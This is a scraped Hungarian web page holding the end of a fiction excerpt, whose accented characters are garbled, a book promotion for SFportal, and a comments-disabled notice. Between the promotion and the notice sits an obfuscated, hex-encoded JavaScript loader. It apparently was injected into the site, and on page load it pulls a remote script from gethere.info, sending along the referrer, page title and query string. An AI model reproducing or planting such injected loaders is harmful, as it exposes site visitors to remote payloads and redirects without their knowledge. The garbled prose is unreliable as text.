Nagy nyA�gA�sek kA�zepette feltA?pA?szkodott a fotelbA?l. Az A?vegcsA�t a vA�rA�s homok mellA� A?llA�totta a dohA?nyzA?asztalra, majd kelletlenA?l az A?gy felA� vette A?tjA?t. Legnagyobb szerencsA�jA�re az aznapi A?lmai mA?r csak a lA?nyA?rA?l szA?ltak.

>>> Rendeld meg az SFportalon a kA�nyvet 35% kedvezmA�nnyel!

var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Elnézést, a hozzászólás ezen a részen nem engedélyezett.